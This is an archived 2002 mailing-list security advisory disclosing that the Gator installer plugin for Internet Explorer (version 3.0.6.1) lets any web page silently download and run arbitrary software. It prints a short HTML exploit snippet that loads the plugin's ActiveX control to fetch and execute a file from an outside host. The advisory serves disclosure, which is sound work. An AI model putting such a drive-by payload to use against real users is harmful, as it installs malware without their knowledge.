

[NT] Gator Installer Plugin Allows Any Software to be Installed Remotely

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-02/0149.html>

From: support@securiteam.com

Date: 02/27/02

From: support@securiteam.com

To: list@securiteam.com

Date: Wed, 27 Feb 2002 19:07:25 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Gator Installer Plugin Allows Any Software to be Installed Remotely

SUMMARY

Gator installer plugin for Internet Explorer (<<http://www.gator.com/>> GAIN) suffers from a security hole that allows an attacker to install any software without the user's knowledge or need of interaction.

DETAILS

Vulnerable systems:

Gator version 3.0.6.1

The issue here is that any HTML page can specify the location of the Gator installation file. The installation file is downloaded, and then it is checked for the filename. If the filename is setup.ex_, it is then decompressed and executed. If the file is not compressed it will still execute it. Of course using this method, a malicious user can easily create an HTML page that makes use of the rogue ActiveX component to point at a Trojan file.

Exploit:

(NOTE: The 'o' of object has been replaced with a '0' to prevent execution)

Securiteam: [NT] Gator Installer Plugin Allows Any Software to be Installed Remotely

```
<Object
  id="IEGator"
  classid="CLSID:29EEFF42-F3FA-11D5-A9D5-00500413153C"
  align="baseline"
  border="0"
  width="400"
  height="20">
  <param name="params"
value="fcn=setup&src=eyeonsecurity.net/advisories/gatorexploit/setup.ex_&bgcolor=F0F1D0&aic=",aicStr,"&">
</object>
```

Solution:

Gator has released a security fix. For more information please see their website:

<<http://www.gator.com/update/>> <http://www.gator.com/update/>

ADDITIONAL INFORMATION

The information has been provided by <<mailto:obscure@eyeonsecurity.net>>
obscure.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[EXPL] Kazaa, Grokster and Morpheus Remote Denial of Service"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)